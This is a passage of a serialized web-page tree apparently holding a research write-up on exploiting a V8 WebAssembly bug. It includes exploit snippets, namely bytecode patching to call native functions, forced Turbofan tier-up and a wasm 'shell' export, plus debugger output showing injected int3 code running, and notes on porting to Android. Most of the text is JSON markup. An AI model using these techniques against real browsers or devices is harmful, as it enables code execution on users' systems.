ype":29,"value":6358},{"type":23,"tag":230,"props":137590,"children":137591},{"style":274},[137592],{"type":29,"value":684},{"type":23,"tag":230,"props":137594,"children":137595},{"style":5149},[137596],{"type":29,"value":6358},{"type":23,"tag":230,"props":137598,"children":137599},{"style":274},[137600],{"type":29,"value":684},{"type":23,"tag":230,"props":137602,"children":137603},{"style":5149},[137604],{"type":29,"value":6358},{"type":23,"tag":230,"props":137606,"children":137607},{"style":274},[137608],{"type":29,"value":684},{"type":23,"tag":230,"props":137610,"children":137611},{"style":5149},[137612],{"type":29,"value":6358},{"type":23,"tag":230,"props":137614,"children":137615},{"style":274},[137616],{"type":29,"value":684},{"type":23,"tag":230,"props":137618,"children":137619},{"style":5149},[137620],{"type":29,"value":6358},{"type":23,"tag":230,"props":137622,"children":137623},{"style":274},[137624],{"type":29,"value":684},{"type":23,"tag":230,"props":137626,"children":137627},{"style":5149},[137628],{"type":29,"value":6358},{"type":23,"tag":230,"props":137630,"children":137631},{"style":274},[137632],{"type":29,"value":684},{"type":23,"tag":230,"props":137634,"children":137635},{"style":5149},[137636],{"type":29,"value":6358},{"type":23,"tag":230,"props":137638,"children":137639},{"style":274},[137640],{"type":29,"value":684},{"type":23,"tag":230,"props":137642,"children":137643},{"style":5149},[137644],{"type":29,"value":6358},{"type":23,"tag":230,"props":137646,"children":137647},{"style":274},[137648],{"type":29,"value":684},{"type":23,"tag":230,"props":137650,"children":137651},{"style":5149},[137652],{"type":29,"value":6358},{"type":23,"tag":230,"props":137654,"children":137655},{"style":274},[137656],{"type":29,"value":684},{"type":23,"tag":230,"props":137658,"children":137659},{"style":5149},[137660],{"type":29,"value":6358},{"type":23,"tag":230,"props":137662,"children":137663},{"style":274},[137664],{"type":29,"value":684},{"type":23,"tag":230,"props":137666,"children":137667},{"style":5149},[137668],{"type":29,"value":31730},{"type":23,"tag":230,"props":137670,"children":137671},{"style":274},[137672],{"type":29,"value":684},{"type":23,"tag":230,"props":137674,"children":137675},{"style":5149},[137676],{"type":29,"value":137229},{"type":23,"tag":230,"props":137678,"children":137679},{"style":274},[137680],{"type":29,"value":684},{"type":23,"tag":230,"props":137682,"children":137683},{"style":5149},[137684],{"type":29,"value":137685},"198",{"type":23,"tag":230,"props":137687,"children":137688},{"style":274},[137689],{"type":29,"value":684},{"type":23,"tag":230,"props":137691,"children":137692},{"style":5149},[137693],{"type":29,"value":6358},{"type":23,"tag":230,"props":137695,"children":137696},{"style":274},[137697],{"type":29,"value":388},{"type":23,"tag":230,"props":137699,"children":137700},{"class":232,"line":500},[137701],{"type":23,"tag":230,"props":137702,"children":137703},{"style":274},[137704],{"type":29,"value":136263},{"type":23,"tag":230,"props":137706,"children":137707},{"class":232,"line":514},[137708,137712,137717,137721,137726,137730,137734,137738,137742,137746,137750],{"type":23,"tag":230,"props":137709,"children":137710},{"style":256},[137711],{"type":29,"value":4324},{"type":23,"tag":230,"props":137713,"children":137714},{"style":262},[137715],{"type":29,"value":137716}," r",{"type":23,"tag":230,"props":137718,"children":137719},{"style":268},[137720],{"type":29,"value":271},{"type":23,"tag":230,"props":137722,"children":137723},{"style":294},[137724],{"type":29,"value":137725}," bug",{"type":23,"tag":230,"props":137727,"children":137728},{"style":274},[137729],{"type":29,"value":302},{"type":23,"tag":230,"props":137731,"children":137732},{"style":262},[137733],{"type":29,"value":135594},{"type":23,"tag":230,"props":137735,"children":137736},{"style":274},[137737],{"type":29,"value":684},{"type":23,"tag":230,"props":137739,"children":137740},{"style":262},[137741],{"type":29,"value":126921},{"type":23,"tag":230,"props":137743,"children":137744},{"style":274},[137745],{"type":29,"value":312},{"type":23,"tag":230,"props":137747,"children":137748},{"style":262},[137749],{"type":29,"value":126921},{"type":23,"tag":230,"props":137751,"children":137752},{"style":274},[137753],{"type":29,"value":753},{"type":23,"tag":230,"props":137755,"children":137756},{"class":232,"line":897},[137757,137762,137766,137770,137774,137778,137782,137786,137791,137795],{"type":23,"tag":230,"props":137758,"children":137759},{"style":262},[137760],{"type":29,"value":137761},"  result",{"type":23,"tag":230,"props":137763,"children":137764},{"style":268},[137765],{"type":29,"value":271},{"type":23,"tag":230,"props":137767,"children":137768},{"style":274},[137769],{"type":29,"value":664},{"type":23,"tag":230,"props":137771,"children":137772},{"style":866},[137773],{"type":29,"value":2640},{"type":23,"tag":230,"props":137775,"children":137776},{"style":262},[137777],{"type":29,"value":137716},{"type":23,"tag":230,"props":137779,"children":137780},{"style":274},[137781],{"type":29,"value":312},{"type":23,"tag":230,"props":137783,"children":137784},{"style":294},[137785],{"type":29,"value":59339},{"type":23,"tag":230,"props":137787,"children":137788},{"style":274},[137789],{"type":29,"value":137790},"()).",{"type":23,"tag":230,"props":137792,"children":137793},{"style":262},[137794],{"type":29,"value":3856},{"type":23,"tag":230,"props":137796,"children":137797},{"style":274},[137798],{"type":29,"value":511},{"type":23,"tag":230,"props":137800,"children":137801},{"class":232,"line":960},[137802,137806,137811,137815,137819,137823,137827,137831,137835,137839],{"type":23,"tag":230,"props":137803,"children":137804},{"style":256},[137805],{"type":29,"value":843},{"type":23,"tag":230,"props":137807,"children":137808},{"style":262},[137809],{"type":29,"value":137810}," wasm_instance",{"type":23,"tag":230,"props":137812,"children":137813},{"style":268},[137814],{"type":29,"value":271},{"type":23,"tag":230,"props":137816,"children":137817},{"style":256},[137818],{"type":29,"value":291},{"type":23,"tag":230,"props":137820,"children":137821},{"style":262},[137822],{"type":29,"value":135577},{"type":23,"tag":230,"props":137824,"children":137825},{"style":274},[137826],{"type":29,"value":312},{"type":23,"tag":230,"props":137828,"children":137829},{"style":294},[137830],{"type":29,"value":135631},{"type":23,"tag":230,"props":137832,"children":137833},{"style":274},[137834],{"type":29,"value":302},{"type":23,"tag":230,"props":137836,"children":137837},{"style":262},[137838],{"type":29,"value":11415},{"type":23,"tag":230,"props":137840,"children":137841},{"style":274},[137842],{"type":29,"value":753},{"type":23,"tag":230,"props":137844,"children":137845},{"class":232,"line":969},[137846,137850,137854,137858,137862,137866,137870,137874,137878],{"type":23,"tag":230,"props":137847,"children":137848},{"style":256},[137849],{"type":29,"value":843},{"type":23,"tag":230,"props":137851,"children":137852},{"style":262},[137853],{"type":29,"value":35263},{"type":23,"tag":230,"props":137855,"children":137856},{"style":268},[137857],{"type":29,"value":271},{"type":23,"tag":230,"props":137859,"children":137860},{"style":262},[137861],{"type":29,"value":137810},{"type":23,"tag":230,"props":137863,"children":137864},{"style":274},[137865],{"type":29,"value":312},{"type":23,"tag":230,"props":137867,"children":137868},{"style":262},[137869],{"type":29,"value":2570},{"type":23,"tag":230,"props":137871,"children":137872},{"style":274},[137873],{"type":29,"value":312},{"type":23,"tag":230,"props":137875,"children":137876},{"style":262},[137877],{"type":29,"value":135680},{"type":23,"tag":230,"props":137879,"children":137880},{"style":274},[137881],{"type":29,"value":511},{"type":23,"tag":230,"props":137883,"children":137884},{"class":232,"line":4526},[137885,137890],{"type":23,"tag":230,"props":137886,"children":137887},{"style":294},[137888],{"type":29,"value":137889},"  f",{"type":23,"tag":230,"props":137891,"children":137892},{"style":274},[137893],{"type":29,"value":2140},{"type":23,"tag":230,"props":137895,"children":137896},{"class":232,"line":4534},[137897],{"type":23,"tag":230,"props":137898,"children":137899},{"style":274},[137900],{"type":29,"value":103764},{"type":23,"tag":32,"props":137902,"children":137903},{},[137904],{"type":29,"value":137905},"Running this in a debugger shows the expected breakpoint:",{"type":23,"tag":220,"props":137907,"children":137909},{"code":137908},"Thread 1 \"d8\" received signal SIGTRAP, Trace/breakpoint trap.\n0x00002ae46bfc1841 in ?? ()\n────────────────────────────────────────────────────────────────────────────\n   0x2ae46bfc183c                  add    BYTE PTR [rax], al\n   0x2ae46bfc183e                  add    BYTE PTR [rax], al\n   0x2ae46bfc1840                  int3\n → 0x2ae46bfc1841                  mov    rbp, rsp\n",[137910],{"type":23,"tag":71,"props":137911,"children":137912},{"__ignoreMap":7},[137913],{"type":29,"value":137908},{"type":23,"tag":59,"props":137915,"children":137917},{"id":137916},"porting-to-android",[137918],{"type":29,"value":137919},"Porting to Android",{"type":23,"tag":32,"props":137921,"children":137922},{},[137923,137925,137930,137932,137937,137939,137944,137946,137952],{"type":29,"value":137924},"The serialized x86-64 code can’t be used on the device because the architecture differs, and ",{"type":23,"tag":71,"props":137926,"children":137928},{"className":137927},[],[137929],{"type":29,"value":134709},{"type":29,"value":137931}," fails. We cross-compiled ",{"type":23,"tag":71,"props":137933,"children":137935},{"className":137934},[],[137936],{"type":29,"value":133868},{"type":29,"value":137938}," for arm64 and serialized the module there, but this still didn’t work on the device and ",{"type":23,"tag":71,"props":137940,"children":137942},{"className":137941},[],[137943],{"type":29,"value":134709},{"type":29,"value":137945}," returned ",{"type":23,"tag":71,"props":137947,"children":137949},{"className":137948},[],[137950],{"type":29,"value":137951},"undefined",{"type":29,"value":312},{"type":23,"tag":32,"props":137954,"children":137955},{},[137956,137958,137963,137965,137970],{"type":29,"value":137957},"Instead, we modified the bytecode to call ",{"type":23,"tag":71,"props":137959,"children":137961},{"className":137960},[],[137962],{"type":29,"value":134735},{"type":29,"value":137964}," directly on the device. The idea is to serialize the code on the device and then feed the resulting bytes back into the original bytecode that calls ",{"type":23,"tag":71,"props":137966,"children":137968},{"className":137967},[],[137969],{"type":29,"value":134709},{"type":29,"value":312},{"type":23,"tag":220,"props":137972,"children":137974},{"code":137973,"language":224,"meta":7,"className":222,"style":7},"try {\n  ${'a1 + 0xa931111;'.repeat(0x059301 - 1)}\n  a1 + 0x03027a6c;\n  throw 0x393e71a;\n} catch (e) {\n  console.log(\"foo\");\n  yield a16;\n}\n",[137975],{"type":23,"tag":71,"props":137976,"children":137977},{"__ignoreMap":7},[137978,137989,138033,138053,138069,138092,138119,138134],{"type":23,"tag":230,"props":137979,"children":137980},{"class":232,"line":233},[137981,137985],{"type":23,"tag":230,"props":137982,"children":137983},{"style":866},[137984],{"type":29,"value":50103},{"type":23,"tag":230,"props":137986,"children":137987},{"style":274},[137988],{"type":29,"value":277},{"type":23,"tag":230,"props":137990,"children":137991},{"class":232,"line":243},[137992,137996,138000,138004,138008,138012,138016,138021,138025,138029],{"type":23,"tag":230,"props":137993,"children":137994},{"style":262},[137995],{"type":29,"value":134976},{"type":23,"tag":230,"props":137997,"children":137998},{"style":274},[137999],{"type":29,"value":78397},{"type":23,"tag":230,"props":138001,"children":138002},{"style":380},[138003],{"type":29,"value":134985},{"type":23,"tag":230,"props":138005,"children":138006},{"style":274},[138007],{"type":29,"value":312},{"type":23,"tag":230,"props":138009,"children":138010},{"style":294},[138011],{"type":29,"value":134994},{"type":23,"tag":230,"props":138013,"children":138014},{"style":274},[138015],{"type":29,"value":302},{"type":23,"tag":230,"props":138017,"children":138018},{"style":5149},[138019],{"type":29,"value":138020},"0x059301",{"type":23,"tag":230,"props":138022,"children":138023},{"style":268},[138024],{"type":29,"value":53028},{"type":23,"tag":230,"props":138026,"children":138027},{"style":5149},[138028],{"type":29,"value":6861},{"type":23,"tag":230,"props":138030,"children":138031},{"style":274},[138032],{"type":29,"value":135016},{"type":23,"tag":230,"props":138034,"children":138035},{"class":232,"line":252},[138036,138040,138044,138049],{"type":23,"tag":230,"props":138037,"children":138038},{"style":262},[138039],{"type":29,"value":135024},{"type":23,"tag":230,"props":138041,"children":138042},{"style":268},[138043],{"type":29,"value":11238},{"type":23,"tag":230,"props":138045,"children":138046},{"style":5149},[138047],{"type":29,"value":138048}," 0x03027a6c",{"type":23,"tag":230,"props":138050,"children":138051},{"style":274},[138052],{"type":29,"value":511},{"type":23,"tag":230,"props":138054,"children":138055},{"class":232,"line":280},[138056,138060,138065],{"type":23,"tag":230,"props":138057,"children":138058},{"style":866},[138059],{"type":29,"value":37488},{"type":23,"tag":230,"props":138061,"children":138062},{"style":5149},[138063],{"type":29,"value":138064}," 0x393e71a",{"type":23,"tag":230,"props":138066,"children":138067},{"style":274},[138068],{"type":29,"value":511},{"type":23,"tag":230,"props":138070,"children":138071},{"class":232,"line":334},[138072,138076,138080,138084,138088],{"type":23,"tag":230,"props":138073,"children":138074},{"style":274},[138075],{"type":29,"value":48645},{"type":23,"tag":230,"props":138077,"children":138078},{"style":866},[138079],{"type":29,"value":50183},{"type":23,"tag":230,"props":138081,"children":138082},{"style":274},[138083],{"type":29,"value":664},{"type":23,"tag":230,"props":138085,"children":138086},{"style":262},[138087],{"type":29,"value":53227},{"type":23,"tag":230,"props":138089,"children":138090},{"style":274},[138091],{"type":29,"value":827},{"type":23,"tag":230,"props":138093,"children":138094},{"class":232,"line":371},[138095,138099,138103,138107,138111,138115],{"type":23,"tag":230,"props":138096,"children":138097},{"style":262},[138098],{"type":29,"value":103723},{"type":23,"tag":230,"props":138100,"children":138101},{"style":274},[138102],{"type":29,"value":312},{"type":23,"tag":230,"props":138104,"children":138105},{"style":294},[138106],{"type":29,"value":103732},{"type":23,"tag":230,"props":138108,"children":138109},{"style":274},[138110],{"type":29,"value":302},{"type":23,"tag":230,"props":138112,"children":138113},{"style":380},[138114],{"type":29,"value":135100},{"type":23,"tag":230,"props":138116,"children":138117},{"style":274},[138118],{"type":29,"value":753},{"type":23,"tag":230,"props":138120,"children":138121},{"class":232,"line":391},[138122,138126,138130],{"type":23,"tag":230,"props":138123,"children":138124},{"style":866},[138125],{"type":29,"value":135112},{"type":23,"tag":230,"props":138127,"children":138128},{"style":262},[138129],{"type":29,"value":135117},{"type":23,"tag":230,"props":138131,"children":138132},{"style":274},[138133],{"type":29,"value":511},{"type":23,"tag":230,"props":138135,"children":138136},{"class":232,"line":400},[138137],{"type":23,"tag":230,"props":138138,"children":138139},{"style":274},[138140],{"type":29,"value":975},{"type":23,"tag":32,"props":138142,"children":138143},{},[138144,138146,138152,138154,138160,138162,138168,138170,138175,138177,138183,138185,138190,138191,138197],{"type":29,"value":138145},"Here, ",{"type":23,"tag":71,"props":138147,"children":138149},{"className":138148},[],[138150],{"type":29,"value":138151},"a1 + 0x03027a6c",{"type":29,"value":138153}," generates the bytes ",{"type":23,"tag":71,"props":138155,"children":138157},{"className":138156},[],[138158],{"type":29,"value":138159},"01 4b 6c 7a 02 03",{"type":29,"value":138161},", where ",{"type":23,"tag":71,"props":138163,"children":138165},{"className":138164},[],[138166],{"type":29,"value":138167},"0x6c",{"type":29,"value":138169}," is the ",{"type":23,"tag":71,"props":138171,"children":138173},{"className":138172},[],[138174],{"type":29,"value":134693},{"type":29,"value":138176}," opcode, ",{"type":23,"tag":71,"props":138178,"children":138180},{"className":138179},[],[138181],{"type":29,"value":138182},"0x027a",{"type":29,"value":138184}," is the function ID of ",{"type":23,"tag":71,"props":138186,"children":138188},{"className":138187},[],[138189],{"type":29,"value":134735},{"type":29,"value":8824},{"type":23,"tag":71,"props":138192,"children":138194},{"className":138193},[],[138195],{"type":29,"value":138196},"0x03",{"type":29,"value":138198}," is the register index holding its first argument.",{"type":23,"tag":32,"props":138200,"children":138201},{},[138202,138204,138209,138210,138215,138217,138222],{"type":29,"value":138203},"Our earlier javascript snippet that serialized the wasm module used two native calls: ",{"type":23,"tag":71,"props":138205,"children":138207},{"className":138206},[],[138208],{"type":29,"value":134735},{"type":29,"value":112},{"type":23,"tag":71,"props":138211,"children":138213},{"className":138212},[],[138214],{"type":29,"value":135703},{"type":29,"value":138216},". To avoid patching the bytecode again to invoke ",{"type":23,"tag":71,"props":138218,"children":138220},{"className":138219},[],[138221],{"type":29,"value":135703},{"type":29,"value":138223},", we can force Turbofan to compile the target function like this:",{"type":23,"tag":220,"props":138225,"children":138227},{"code":138226,"language":224,"meta":7,"className":222,"style":7},"// %WasmTierUpFunction(func);\nfor (let i = 0; i \u003C 0x100000; i++) {\n  func();\n}\n",[138228],{"type":23,"tag":71,"props":138229,"children":138230},{"__ignoreMap":7},[138231,138239,138299,138311],{"type":23,"tag":230,"props":138232,"children":138233},{"class":232,"line":233},[138234],{"type":23,"tag":230,"props":138235,"children":138236},{"style":237},[138237],{"type":29,"value":138238},"// %WasmTierUpFunction(func);\n",{"type":23,"tag":230,"props":138240,"children":138241},{"class":232,"line":243},[138242,138246,138250,138254,138258,138262,138266,138270,138274,138278,138283,138287,138291,138295],{"type":23,"tag":230,"props":138243,"children":138244},{"style":866},[138245],{"type":29,"value":5731},{"type":23,"tag":230,"props":138247,"children":138248},{"style":274},[138249],{"type":29,"value":664},{"type":23,"tag":230,"props":138251,"children":138252},{"style":256},[138253],{"type":29,"value":14118},{"type":23,"tag":230,"props":138255,"children":138256},{"style":262},[138257],{"type":29,"value":5736},{"type":23,"tag":230,"props":138259,"children":138260},{"style":268},[138261],{"type":29,"value":271},{"type":23,"tag":230,"props":138263,"children":138264},{"style":5149},[138265],{"type":29,"value":5386},{"type":23,"tag":230,"props":138267,"children":138268},{"style":274},[138269],{"type":29,"value":2171},{"type":23,"tag":230,"props":138271,"children":138272},{"style":262},[138273],{"type":29,"value":6074},{"type":23,"tag":230,"props":138275,"children":138276},{"style":268},[138277],{"type":29,"value":11055},{"type":23,"tag":230,"props":138279,"children":138280},{"style":5149},[138281],{"type":29,"value":138282}," 0x100000",{"type":23,"tag":230,"props":138284,"children":138285},{"style":274},[138286],{"type":29,"value":2171},{"type":23,"tag":230,"props":138288,"children":138289},{"style":262},[138290],{"type":29,"value":6074},{"type":23,"tag":230,"props":138292,"children":138293},{"style":268},[138294],{"type":29,"value":53042},{"type":23,"tag":230,"props":138296,"children":138297},{"style":274},[138298],{"type":29,"value":827},{"type":23,"tag":230,"props":138300,"children":138301},{"class":232,"line":252},[138302,138307],{"type":23,"tag":230,"props":138303,"children":138304},{"style":294},[138305],{"type":29,"value":138306},"  func",{"type":23,"tag":230,"props":138308,"children":138309},{"style":274},[138310],{"type":29,"value":2140},{"type":23,"tag":230,"props":138312,"children":138313},{"class":232,"line":280},[138314],{"type":23,"tag":230,"props":138315,"children":138316},{"style":274},[138317],{"type":29,"value":975},{"type":23,"tag":32,"props":138319,"children":138320},{},[138321],{"type":29,"value":138322},"Finally, running this code on the device:",{"type":23,"tag":220,"props":138324,"children":138326},{"code":138325,"language":224,"meta":7,"className":222,"style":7},"(async () => {\n  var wasm_code = new Uint8Array([\n    0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n    0, 0, 10, 4, 1, 2, 0, 11,\n  ]);\n  var mod = new WebAssembly.Module(wasm_code);\n  var inst = new WebAssembly.Instance(mod);\n  var func = inst.exports.shell;\n\n  // %WasmTierUpFunction(func);\n  for (let i = 0; i \u003C 0x100000; i++) {\n    func();\n  }\n\n  let r = bug(mod);\n  result = (await r.next()).value;\n  console.log(result);\n\n  let result_bytes = new Uint8Array(result);\n  console.log('[' + result_bytes.join(', ') + ']');\n})();\n",[138327],{"type":23,"tag":71,"props":138328,"children":138329},{"__ignoreMap":7},[138330,138353,138381,138600,138667,138674,138717,138760,138799,138806,138814,138874,138886,138893,138900,138931,138974,139001,139008,139044,139107],{"type":23,"tag":230,"props":138331,"children":138332},{"class":232,"line":233},[138333,138337,138341,138345,138349],{"type":23,"tag":230,"props":138334,"children":138335},{"style":274},[138336],{"type":29,"value":302},{"type":23,"tag":230,"props":138338,"children":138339},{"style":256},[138340],{"type":29,"value":798},{"type":23,"tag":230,"props":138342,"children":138343},{"style":274},[138344],{"type":29,"value":4411},{"type":23,"tag":230,"props":138346,"children":138347},{"style":256},[138348],{"type":29,"value":2671},{"type":23,"tag":230,"props":138350,"children":138351},{"style":274},[138352],{"type":29,"value":277},{"type":23,"tag":230,"props":138354,"children":138355},{"class":232,"line":243},[138356,138361,138365,138369,138373,138377],{"type":23,"tag":230,"props":138357,"children":138358},{"style":256},[138359],{"type":29,"value":138360},"  var",{"type":23,"tag":230,"props":138362,"children":138363},{"style":262},[138364],{"type":29,"value":135233},{"type":23,"tag":230,"props":138366,"children":138367},{"style":268},[138368],{"type":29,"value":271},{"type":23,"tag":230,"props":138370,"children":138371},{"style":256},[138372],{"type":29,"value":291},{"type":23,"tag":230,"props":138374,"children":138375},{"style":294},[138376],{"type":29,"value":135246},{"type":23,"tag":230,"props":138378,"children":138379},{"style":274},[138380],{"type":29,"value":135251},{"type":23,"tag":230,"props":138382,"children":138383},{"class":232,"line":252},[138384,138388,138392,138396,138400,138404,138408,138412,138416,138420,138424,138428,138432,138436,138440,138444,138448,138452,138456,138460,138464,138468,138472,138476,138480,138484,138488,138492,138496,138500,138504,138508,138512,138516,138520,138524,138528,138532,138536,138540,138544,138548,138552,138556,138560,138564,138568,138572,138576,138580,138584,138588,138592,138596],{"type":23,"tag":230,"props":138385,"children":138386},{"style":5149},[138387],{"type":29,"value":135976},{"type":23,"tag":230,"props":138389,"children":138390},{"style":274},[138391],{"type":29,"value":684},{"type":23,"tag":230,"props":138393,"children":138394},{"style":5149},[138395],{"type":29,"value":135268},{"type":23,"tag":230,"props":138397,"children":138398},{"style":274},[138399],{"type":29,"value":684},{"type":23,"tag":230,"props":138401,"children":138402},{"style":5149},[138403],{"type":29,"value":135277},{"type":23,"tag":230,"props":138405,"children":138406},{"style":274},[138407],{"type":29,"value":684},{"type":23,"tag":230,"props":138409,"children":138410},{"style":5149},[138411],{"type":29,"value":135286},{"type":23,"tag":230,"props":138413,"children":138414},{"style":274},[138415],{"type":29,"value":684},{"type":23,"tag":230,"props":138417,"children":138418},{"style":5149},[138419],{"type":29,"value":6348},{"type":23,"tag":230,"props":138421,"children":138422},{"style":274},[138423],{"type":29,"value":684},{"type":23,"tag":230,"props":138425,"children":138426},{"style":5149},[138427],{"type":29,"value":6358},{"type":23,"tag":230,"props":138429,"children":138430},{"style":274},[138431],{"type":29,"value":684},{"type":23,"tag":230,"props":138433,"children":138434},{"style":5149},[138435],{"type":29,"value":6358},{"type":23,"tag":230,"props":138437,"children":138438},{"style":274},[138439],{"type":29,"value":684},{"type":23,"tag":230,"props":138441,"children":138442},{"style":5149},[138443],{"type":29,"value":6358},{"type":23,"tag":230,"props":138445,"children":138446},{"style":274},[138447],{"type":29,"value":684},{"type":23,"tag":230,"props":138449,"children":138450},{"style":5149},[138451],{"type":29,"value":6348},{"type":23,"tag":230,"props":138453,"children":138454},{"style":274},[138455],{"type":29,"value":684},{"type":23,"tag":230,"props":138457,"children":138458},{"style":5149},[138459],{"type":29,"value":19849},{"type":23,"tag":230,"props":138461,"children":138462},{"style":274},[138463],{"type":29,"value":684},{"type":23,"tag":230,"props":138465,"children":138466},{"style":5149},[138467],{"type":29,"value":6348},{"type":23,"tag":230,"props":138469,"children":138470},{"style":274},[138471],{"type":29,"value":684},{"type":23,"tag":230,"props":138473,"children":138474},{"style":5149},[138475],{"type":29,"value":135351},{"type":23,"tag":230,"props":138477,"children":138478},{"style":274},[138479],{"type":29,"value":684},{"type":23,"tag":230,"props":138481,"children":138482},{"style":5149},[138483],{"type":29,"value":6358},{"type":23,"tag":230,"props":138485,"children":138486},{"style":274},[138487],{"type":29,"value":684},{"type":23,"tag":230,"props":138489,"children":138490},{"style":5149},[138491],{"type":29,"value":6358},{"type":23,"tag":230,"props":138493,"children":138494},{"style":274},[138495],{"type":29,"value":684},{"type":23,"tag":230,"props":138497,"children":138498},{"style":5149},[138499],{"type":29,"value":19616},{"type":23,"tag":230,"props":138501,"children":138502},{"style":274},[138503],{"type":29,"value":684},{"type":23,"tag":230,"props":138505,"children":138506},{"style":5149},[138507],{"type":29,"value":5462},{"type":23,"tag":230,"props":138509,"children":138510},{"style":274},[138511],{"type":29,"value":684},{"type":23,"tag":230,"props":138513,"children":138514},{"style":5149},[138515],{"type":29,"value":6348},{"type":23,"tag":230,"props":138517,"children":138518},{"style":274},[138519],{"type":29,"value":684},{"type":23,"tag":230,"props":138521,"children":138522},{"style":5149},[138523],{"type":29,"value":6358},{"type":23,"tag":230,"props":138525,"children":138526},{"style":274},[138527],{"type":29,"value":684},{"type":23,"tag":230,"props":138529,"children":138530},{"style":5149},[138531],{"type":29,"value":56444},{"type":23,"tag":230,"props":138533,"children":138534},{"style":274},[138535],{"type":29,"value":684},{"type":23,"tag":230,"props":138537,"children":138538},{"style":5149},[138539],{"type":29,"value":57659},{"type":23,"tag":230,"props":138541,"children":138542},{"style":274},[138543],{"type":29,"value":684},{"type":23,"tag":230,"props":138545,"children":138546},{"style":5149},[138547],{"type":29,"value":6348},{"type":23,"tag":230,"props":138549,"children":138550},{"style":274},[138551],{"type":29,"value":684},{"type":23,"tag":230,"props":138553,"children":138554},{"style":5149},[138555],{"type":29,"value":20429},{"type":23,"tag":230,"props":138557,"children":138558},{"style":274},[138559],{"type":29,"value":684},{"type":23,"tag":230,"props":138561,"children":138562},{"style":5149},[138563],{"type":29,"value":135277},{"type":23,"tag":230,"props":138565,"children":138566},{"style":274},[138567],{"type":29,"value":684},{"type":23,"tag":230,"props":138569,"children":138570},{"style":5149},[138571],{"type":29,"value":135448},{"type":23,"tag":230,"props":138573,"children":138574},{"style":274},[138575],{"type":29,"value":684},{"type":23,"tag":230,"props":138577,"children":138578},{"style":5149},[138579],{"type":29,"value":135457},{"type":23,"tag":230,"props":138581,"children":138582},{"style":274},[138583],{"type":29,"value":684},{"type":23,"tag":230,"props":138585,"children":138586},{"style":5149},[138587],{"type":29,"value":135466},{"type":23,"tag":230,"props":138589,"children":138590},{"style":274},[138591],{"type":29,"value":684},{"type":23,"tag":230,"props":138593,"children":138594},{"style":5149},[138595],{"type":29,"value":135466},{"type":23,"tag":230,"props":138597,"children":138598},{"style":274},[138599],{"type":29,"value":388},{"type":23,"tag":230,"props":138601,"children":138602},{"class":232,"line":280},[138603,138607,138611,138615,138619,138623,138627,138631,138635,138639,138643,138647,138651,138655,138659,138663],{"type":23,"tag":230,"props":138604,"children":138605},{"style":5149},[138606],{"type":29,"value":135976},{"type":23,"tag":230,"props":138608,"children":138609},{"style":274},[138610],{"type":29,"value":684},{"type":23,"tag":230,"props":138612,"children":138613},{"style":5149},[138614],{"type":29,"value":6358},{"type":23,"tag":230,"props":138616,"children":138617},{"style":274},[138618],{"type":29,"value":684},{"type":23,"tag":230,"props":138620,"children":138621},{"style":5149},[138622],{"type":29,"value":91032},{"type":23,"tag":230,"props":138624,"children":138625},{"style":274},[138626],{"type":29,"value":684},{"type":23,"tag":230,"props":138628,"children":138629},{"style":5149},[138630],{"type":29,"value":19849},{"type":23,"tag":230,"props":138632,"children":138633},{"style":274},[138634],{"type":29,"value":684},{"type":23,"tag":230,"props":138636,"children":138637},{"style":5149},[138638],{"type":29,"value":6348},{"type":23,"tag":230,"props":138640,"children":138641},{"style":274},[138642],{"type":29,"value":684},{"type":23,"tag":230,"props":138644,"children":138645},{"style":5149},[138646],{"type":29,"value":5462},{"type":23,"tag":230,"props":138648,"children":138649},{"style":274},[138650],{"type":29,"value":684},{"type":23,"tag":230,"props":138652,"children":138653},{"style":5149},[138654],{"type":29,"value":6358},{"type":23,"tag":230,"props":138656,"children":138657},{"style":274},[138658],{"type":29,"value":684},{"type":23,"tag":230,"props":138660,"children":138661},{"style":5149},[138662],{"type":29,"value":135542},{"type":23,"tag":230,"props":138664,"children":138665},{"style":274},[138666],{"type":29,"value":388},{"type":23,"tag":230,"props":138668,"children":138669},{"class":232,"line":334},[138670],{"type":23,"tag":230,"props":138671,"children":138672},{"style":274},[138673],{"type":29,"value":136263},{"type":23,"tag":230,"props":138675,"children":138676},{"class":232,"line":371},[138677,138681,138685,138689,138693,138697,138701,138705,138709,138713],{"type":23,"tag":230,"props":138678,"children":138679},{"style":256},[138680],{"type":29,"value":138360},{"type":23,"tag":230,"props":138682,"children":138683},{"style":262},[138684],{"type":29,"value":73401},{"type":23,"tag":230,"props":138686,"children":138687},{"style":268},[138688],{"type":29,"value":271},{"type":23,"tag":230,"props":138690,"children":138691},{"style":256},[138692],{"type":29,"value":291},{"type":23,"tag":230,"props":138694,"children":138695},{"style":262},[138696],{"type":29,"value":135577},{"type":23,"tag":230,"props":138698,"children":138699},{"style":274},[138700],{"type":29,"value":312},{"type":23,"tag":230,"props":138702,"children":138703},{"style":294},[138704],{"type":29,"value":87698},{"type":23,"tag":230,"props":138706,"children":138707},{"style":274},[138708],{"type":29,"value":302},{"type":23,"tag":230,"props":138710,"children":138711},{"style":262},[138712],{"type":29,"value":135594},{"type":23,"tag":230,"props":138714,"children":138715},{"style":274},[138716],{"type":29,"value":753},{"type":23,"tag":230,"props":138718,"children":138719},{"class":232,"line":391},[138720,138724,138728,138732,138736,138740,138744,138748,138752,138756],{"type":23,"tag":230,"props":138721,"children":138722},{"style":256},[138723],{"type":29,"value":138360},{"type":23,"tag":230,"props":138725,"children":138726},{"style":262},[138727],{"type":29,"value":135610},{"type":23,"tag":230,"props":138729,"children":138730},{"style":268},[138731],{"type":29,"value":271},{"type":23,"tag":230,"props":138733,"children":138734},{"style":256},[138735],{"type":29,"value":291},{"type":23,"tag":230,"props":138737,"children":138738},{"style":262},[138739],{"type":29,"value":135577},{"type":23,"tag":230,"props":138741,"children":138742},{"style":274},[138743],{"type":29,"value":312},{"type":23,"tag":230,"props":138745,"children":138746},{"style":294},[138747],{"type":29,"value":135631},{"type":23,"tag":230,"props":138749,"children":138750},{"style":274},[138751],{"type":29,"value":302},{"type":23,"tag":230,"props":138753,"children":138754},{"style":262},[138755],{"type":29,"value":135640},{"type":23,"tag":230,"props":138757,"children":138758},{"style":274},[138759],{"type":29,"value":753},{"type":23,"tag":230,"props":138761,"children":138762},{"class":232,"line":400},[138763,138767,138771,138775,138779,138783,138787,138791,138795],{"type":23,"tag":230,"props":138764,"children":138765},{"style":256},[138766],{"type":29,"value":138360},{"type":23,"tag":230,"props":138768,"children":138769},{"style":262},[138770],{"type":29,"value":81788},{"type":23,"tag":230,"props":138772,"children":138773},{"style":268},[